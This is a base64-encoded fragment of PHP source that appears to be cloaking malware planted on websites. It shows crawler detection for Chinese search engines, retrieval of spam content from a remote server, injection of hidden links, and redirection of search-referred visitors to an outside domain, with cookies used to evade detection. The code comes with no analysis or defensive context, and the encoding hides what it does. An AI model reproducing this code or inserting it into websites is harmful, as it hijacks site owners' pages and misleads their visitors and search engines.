RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK